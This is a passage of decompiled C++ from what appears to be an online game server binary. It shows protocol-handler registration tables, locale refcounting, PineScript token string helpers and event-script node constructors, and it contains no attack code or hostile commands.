(PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 101, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_SPAMMER_ZONE_CHAT_BAN_CMD); } //----- (00498550) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)&PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->this; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 5B0F18: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall ZoneListenSession_____NETCOMMAND ______vftable_)(void *p, char); //----- (00498580) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004985A0) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_LostSP); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_MISC_ZONERINGLINKTEST_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 104, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERSEARCH_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 106, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERSUMMON_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 105, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERFOUND_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 107, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_KICKPLAYEROUT_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 108, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERBANNED_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 16, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 147, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 85, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_ACT_WEDDING_COUPLE_ENTRANCE_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 149, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_WEDDING_PARTNER_INFO_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 170, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_WEDDING_PARTNER_SUMMON_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 171, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_WEDDING_REFRESH_INFO_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 37, 54, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 173, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERSEARCH_BY_NORMAL_USER_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 174, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_PLAYERFOUND_BY_NORMAL_USER_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 114, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 116, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 130, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 131, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 177, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 41, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ZoneListenSession::zls_NC_INSTANCE_DUNGEON_FIND_RNG); } //----- (00498750) -------------------------------------------------------- void __thiscall std::locale::facet::_Incref(std::locale::facet *this) { std::locale::facet *v1; // esi@1 unsigned int v2; // eax@1 std::_Lockit _Lock; // [sp+0h] [bp-4h]@1 _Lock._Locktype = (int)this; v1 = this; std::_Lockit::_Lockit(&_Lock, 0); v2 = v1->_Refs; if ( v2 < 0xFFFFFFFF ) v1->_Refs = v2 + 1; std::_Lockit::__Lockit(&_Lock); } //----- (00498780) -------------------------------------------------------- std::locale::facet *__thiscall std::locale::facet::_Decref(std::locale::facet *this) { std::locale::facet *v1; // esi@1 unsigned int v2; // eax@1 int v3; // esi@4 std::_Lockit _Lock; // [sp+0h] [bp-4h]@1 _Lock._Locktype = (int)this; v1 = this; std::_Lockit::_Lockit(&_Lock, 0); v2 = v1->_Refs; if ( v2 && v2 < 0xFFFFFFFF ) v1->_Refs = v2 - 1; v3 = ((v1->_Refs != 0) - 1) & (unsigned int)v1; std::_Lockit::__Lockit(&_Lock); return (std::locale::facet *)v3; } //----- (004987E0) -------------------------------------------------------- void *__thiscall std::locale::facet::_scalar_deleting_destructor_(std::locale::facet *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (std::locale::facetVtbl *)&std::locale::facet::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 5DBBCC: using guessed type int (__thiscall *std__locale__facet___vftable_)(void *p, char); //----- (00498800) -------------------------------------------------------- void __thiscall std::locale::facet::_facet(std::num_put > > *this) { this->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::locale::facet::_vftable_; } // 5DBBCC: using guessed type int (__thiscall *std__locale__facet___vftable_)(void *p, char); //----- (00498810) -------------------------------------------------------- std::locale *__thiscall std::ios_base::getloc(std::ios_base *this, std::locale *result) { std::locale v2; // esi@1 std::locale *v3; // edi@1 unsigned int v4; // eax@1 v2 = *this->_Ploc; v3 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = v2; std::_Lockit::_Lockit((std::_Lockit *)&result, 0); v4 = *(_DWORD *)(*(_DWORD *)&v2 + 4); if ( v4 < 0xFFFFFFFF ) *(_DWORD *)(*(_DWORD *)&v2 + 4) = v4 + 1; std::_Lockit::__Lockit((std::_Lockit *)&result); return v3; } //----- (00498850) -------------------------------------------------------- void *__thiscall std::ios_base::_vector_deleting_destructor_(std::ios_base *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::ios_base::_ios_base(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00498870) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionNoBrain::mab_Think(MobTacticElement::MobActionNoBrain *this, MobTacticElement::MobActionArgument *argument) { return (MobTacticElement::MobActionBase *)this; } //----- (00498880) -------------------------------------------------------- unsigned __int16 __cdecl ps_assert(unsigned __int16 condition, const char *message, const char *flag) { if ( !condition ) { if ( flag ) { AssertClass::ac_AssertFail(&shineassert, message, flag); return condition == 0; } AssertClass::ac_AssertFail(&shineassert, message, 1); } return condition == 0; } //----- (004988D0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::pst_ToLower(PineScriptToken *this) { PineScriptToken *result; // eax@1 unsigned int v2; // edx@1 char v3; // cl@2 char v4; // cl@6 char v5; // cl@10 char v6; // cl@14 result = this; v2 = 0; do { v3 = result->pst_Buffer[v2]; if ( !v3 ) break; if ( (unsigned __int8)v3 >= 0x41u && (unsigned __int8)v3 <= 0x5Au ) result->pst_Buffer[v2] = v3 + 32; v4 = result->pst_Buffer[v2 + 1]; if ( !v4 ) break; if ( (unsigned __int8)v4 >= 0x41u && (unsigned __int8)v4 <= 0x5Au ) result->pst_Buffer[v2 + 1] = v4 + 32; v5 = result->pst_Buffer[v2 + 2]; if ( !v5 ) break; if ( (unsigned __int8)v5 >= 0x41u && (unsigned __int8)v5 <= 0x5Au ) result->pst_Buffer[v2 + 2] = v5 + 32; v6 = result->pst_Buffer[v2 + 3]; if ( !v6 ) break; if ( (unsigned __int8)v6 >= 0x41u ) { if ( (unsigned __int8)v6 <= 0x5Au ) result->pst_Buffer[v2 + 3] = v6 + 32; } v2 += 4; } while ( v2 < 0x100 ); return result; } //----- (00498950) -------------------------------------------------------- void __thiscall PineScriptToken::PineScriptToken(PineScriptToken *this, char *name) { char *v2; // edx@1 char v3; // bl@2 v2 = name; do { v3 = *v2; v2[(char *)this - name] = *v2; ++v2; } while ( v3 ); } //----- (00498970) -------------------------------------------------------- void __thiscall PineScriptToken::PineScriptToken(PineScriptToken *this, int number) { sprintf(this->pst_Buffer, "%d"); } //----- (00498990) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::pst_Clear(PineScriptToken *this) { PineScriptToken *result; // eax@1 result = this; this->pst_Buffer[0] = 0; return result; } //----- (004989A0) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptToken::pst_RemoveQuatator(PineScriptToken *this) { PineScriptToken *v1; // esi@1 unsigned __int16 result; // ax@2 PineScriptToken *v3; // eax@3 char *v4; // edx@3 char v5; // cl@4 int v6; // edi@5 v1 = this; if ( this->pst_Buffer[0] == 34 ) { v3 = this; v4 = &this->pst_Buffer[1]; do { v5 = v3->pst_Buffer[0]; v3 = (PineScriptToken *)((char *)v3 + 1); } while ( v5 ); v6 = (char *)v3 - v4; if ( *((_BYTE *)v1 + (char *)v3 - v4 - 1) == 34 ) { strncpy(v1->pst_Buffer, &v1->pst_Buffer[1], v6 - 2); *((_BYTE *)v1 + v6 - 2) = 0; result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (004989F0) -------------------------------------------------------- int __thiscall PineScriptToken::pst_GetNumber(PineScriptToken *this, unsigned __int16 cut) { signed int v2; // esi@1 int result; // eax@1 unsigned int i; // edi@1 char v5; // dl@2 v2 = 1; result = 0; for ( i = strlen(this->pst_Buffer) - 1; (i & 0x80000000u) == 0; --i ) { v5 = this->pst_Buffer[i]; if ( (unsigned __int8)v5 < 0x30u ) break; if ( (unsigned __int8)v5 > 0x39u ) break; result += v2 * ((unsigned __int8)v5 - 48); v2 *= 10; } if ( cut ) this->pst_Buffer[i + 1] = 0; return result; } //----- (00498A50) -------------------------------------------------------- char __thiscall PineScriptToken::pst_GetChar(PineScriptToken *this, int num) { return this->pst_Buffer[num]; } //----- (00498A60) -------------------------------------------------------- void __thiscall PineScriptToken::pst_SetChar(PineScriptToken *this, int num, int chr) { this->pst_Buffer[num] = chr; } //----- (00498A70) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptToken::operator__(PineScriptToken *this, char *str) { unsigned __int16 result; // ax@2 if ( strcmp(this->pst_Buffer, str) ) result = 0; else result = 1; return result; } //----- (00498AD0) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptToken::operator__(PineScriptToken *this, char *str) { int v2; // kr00_4@1 unsigned __int16 result; // ax@2 v2 = strcmp(this->pst_Buffer, str); if ( v2 ) result = -(v2 < 0) - ((v2 < 0) - 1); else result = 0; return result; } //----- (00498B10) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::pst_Merge(PineScriptToken *this, PineScriptToken *sst) { PineScriptToken *result; // eax@1 result = this; strcat(this->pst_Buffer, sst->pst_Buffer); return result; } //----- (00498B50) -------------------------------------------------------- void __thiscall PineEventScriptNode::CalculateOperator::_CalculateOperator(PineEventScriptNode::CompareOperator *this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5B0F1C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); //----- (00498B60) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncRand::SysFuncRand(PineEventScriptNode::SysFuncRand *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncRand::_vftable_; } // 5B0F50: using guessed type int (__stdcall *PineEventScriptNode__SysFuncRand___vftable_[25])(int buffer, int ps, int argumentlist); //----- (00498B70) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen(PineEventScriptNode::SysFuncShineGetLoseGuild *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncBase::_vftable_; } // 5B0F4C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncBase___vftable_[26])(int buffer, int ps, int argumentlist); //----- (00498B80) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncSQRT::SysFuncSQRT(PineEventScriptNode::SysFuncSQRT *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncSQRT::_vftable_; } // 5B0F54: using guessed type int (__stdcall *PineEventScriptNode__SysFuncSQRT___vftable_[24])(int buffer, int ps, int argumentlist); //----- (00498B90) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncDistance::SysFuncDistance(PineEventScriptNode::SysFuncDistance *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncDistance::_vftable_; } // 5B0F58: using guessed type int (__stdcall *PineEventScriptNode__SysFuncDistance___vftable_[23])(int buffer, int x2, int argumentlist); //----- (00498BA0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineMobRegen::SysFuncShineMobRegen(PineEventScriptNode::SysFuncShineMobRegen *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineMobRegen::_vftable_; } // 5B0F5C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineMobRegen___vftable_[22])(int buffer, int ps, int argumentlist); //----- (00498BB0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineDoorBuild::SysFuncShineDoorBuild(PineEventScriptNode::SysFuncShineDoorBuild *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineDoorBuild::_vftable_; } // 5B0F60: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineDoorBuild___vftable_[21])(int buffer, int ps, int argumentlist); //----- (00498BC0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineNPCStand::SysFuncShineNPCStand(PineEventScriptNode::SysFuncShineNPCStand *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineNPCStand::_vftable_; } // 5B0F64: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineNPCStand___vftable_[20])(int buffer, int ps, int argumentlist); //----- (00498BD0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineChange2Mob::SysFuncShineChange2Mob(PineEventScriptNode::SysFuncShineChange2Mob *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineChange2Mob::_vftable_; } // 5B0F68: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineChange2Mob___vftable_[19])(int buffer, int ps, int argumentlist); //----- (00498BE0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineChange2Door::SysFuncShineChange2Door(PineEventScriptNode::SysFuncShineChange2Door *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineChange2Door::_vftable_; } // 5B0F6C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineChange2Door___vftable_[18])(int buffer, int ps, int argumentlist); //----- (00498BF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineChange2NPC::SysFuncShineChange2NPC(PineEventScriptNode::SysFuncShineChange2NPC *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineChange2NPC::_vftable_; } // 5B0F70: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineChange2NPC___vftable_[17])(int buffer, int ps, int argumentlist); //----- (00498C00) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineCount::SysFuncShineCount(PineEventScriptNode::SysFuncShineCount *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineCount::_vftable_; } // 5B0F74: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineCount___vftable_[16])(int buffer, int ps, int argumentlist); //----- (00498C10) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineRestSecond::SysFuncShineRestSecond(PineEventScriptNode::SysFuncShineRestSecond *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineRestSecond::_vftable_; } // 5B0F78: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineRestSecond___vftable_[15])(int buffer, int ps, int argumentlist); //----- (00498C20) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineCharClass::SysFuncShineCharClass(PineEventScriptNode::SysFuncShineCharClass *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineCharClass::_vftable_; } // 5B0F7C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineCharClass___vftable_[14])(int buffer, int ps, int argumentlist); //----- (00498C30) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineCharName::SysFuncShineCharName(PineEventScriptNode::SysFuncShineCharName *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineCharName::_vftable_; } // 5B0F80: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineCharName___vftable_[13])(int buffer, int ps, int argumentlist); //----- (00498C40) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineDeadNumber::SysFuncShineDeadNumber(PineEventScriptNode::SysFuncShineDeadNumber *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineDeadNumber::_vftable_; } // 5B0F84: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineDeadNumber___vftable_[12])(int buffer, int ps, int argumentlist); //----- (00498C50) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineCircularScatter::SysFuncShineCircularScatter(PineEventScriptNode::SysFuncShineCircularScatter *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineCircularScatter::_vftable_; } // 5B0F88: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineCircularScatter___vftable_[11])(int buffer, int ps, int argumentlist); //----- (00498C60) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineRemoveFisrt::SysFuncShineRemoveFisrt(PineEventScriptNode::SysFuncShineRemoveFisrt *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineRemoveFisrt::_vftable_; } // 5B0F8C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineRemoveFisrt___vftable_[10])(int buffer, int ps, int argumentlist); //----- (00498C70) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShineGetObjectList(PineEventScriptNode::SysFuncShineGetObjectList *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineGetObjectList::_vftable_; } // 5B0F90: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineGetObjectList___vftable_[9])(int buffer, int ps, int argumentlist); //----- (00498C80) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineKQResultList::SysFuncShineKQResultList(PineEventScriptNode::SysFuncShineKQResultList *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineKQResultList::_vftable_; } // 5B0F94: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineKQResultList___vftable_[8])(int buffer, int ps, int argumentlist); //----- (00498C90) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineKQTop::SysFuncShineKQTop(PineEventScriptNode::SysFuncShineKQTop *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineKQTop::_vftable_; } // 5B0F98: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineKQTop___vftable_[7])(int buffer, int ps, int argumentlist); //----- (00498CA0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineDistance::SysFuncShineDistance(PineEventScriptNode::SysFuncShineDistance *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineDistance::_vftable_; } // 5B0F9C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineDistance___vftable_[6])(int buffer, int ps, int argumentlist); //----- (00498CB0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShinePlayerInArea::SysFuncShinePlayerInArea(PineEventScriptNode::SysFuncShinePlayerInArea *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShinePlayerInArea::_vftable_; } // 5B0FA0: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShinePlayerInArea___vftable_[5])(int buffer, int ps, int argumentlist); //----- (00498CC0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineRange::SysFuncShineRange(PineEventScriptNode::SysFuncShineRange *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineRange::_vftable_; } // 5B0FA4: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineRange___vftable_[4])(int buffer, int ps, int argumentlist); //----- (00498CD0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineIsGateUse::SysFuncShineIsGateUse(PineEventScriptNode::SysFuncShineIsGateUse *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineIsGateUse::_vftable_; } // 5B0FA8: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineIsGateUse___vftable_[3])(int buffer, int ps, int argumentlist); //----- (00498CE0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineGetWinnerGuild::SysFuncShineGetWinnerGuild(PineEventScriptNode::SysFuncShineGetWinnerGuild *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineGetWinnerGuild::_vftable_; } // 5B0FAC: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineGetWinnerGuild___vftable_[2])(int buffer, int ps, int argumentlist); //----- (00498CF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineGetLoseGuild::SysFuncShineGetLoseGuild(PineEventScriptNode::SysFuncShineGetLoseGuild *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)&PineEventScriptNode::SysFuncShineGetLoseGuild::_vftable_; } // 5B0FB0: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineGetLoseGuild___vftable_)(int buffer, int ps, int argumentlist); //----- (00498D00) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::ArgumentList::al_GetArgument(PineEventScriptNode::ArgumentList *this, unsigned int sub, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineScriptToken *result; // eax@1 result = buffer; buffer->pst_Buffer[0] = 0; if ( sub < 0xA ) { if ( this->al_Express[sub] ) result = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))this->al_Express[sub]->vfptr->sa_Calculate)( buffer, ps); } return result; } //----- (00498D30) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncBase::sfb_Calculate(PineEventScriptNode::SysFuncBase *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *result; // eax@1 result = buffer; buffer->pst_Buffer[0] = 0; return result; } //----- (00498D40) -------------------------------------------------------- void __thiscall PineEventScriptNode::Identify::Identify(PineEventScriptNode::Identify *this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Identify::_vftable_; this->i_Id = 0; this->i_Exp = 0; } // 5B0FE4: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); //----- (00498D70) -------------------------------------------------------- void __thiscall PineEventScriptNode::Statement::_Statement(PineEventScriptNode::Statement *this) { PineEventScriptNode::Statement *v1; // esi@1 PineEventScriptNode::ScriptAtom *v2; // eax@1 v1 = this; v2 = this->s_Statement; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Statement::_vftable_; if ( v2 ) { v2->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v2); } v1->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5B0F1C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5B1014: using guessed type int (__stdcall *PineEventScriptNode__Statement___vftable_)(int tr); //----- (00498DA0) -------------------------------------------------------- void __thiscall PineEventScriptNode::BlockName::_BlockName(PineEventScriptNode::BlockName *this) { this->bn_Name.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5B0F1C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); //----- (00498DB0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateBreak::sb_CloneMe(PineEventScriptNode::StateBreak *this) { PineEventScriptNode::StatementBase *result; // eax@1 result = (PineEventScriptNode::StatementBase *)operator new(8u); if ( result ) { result->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateBreak::_vftable_; 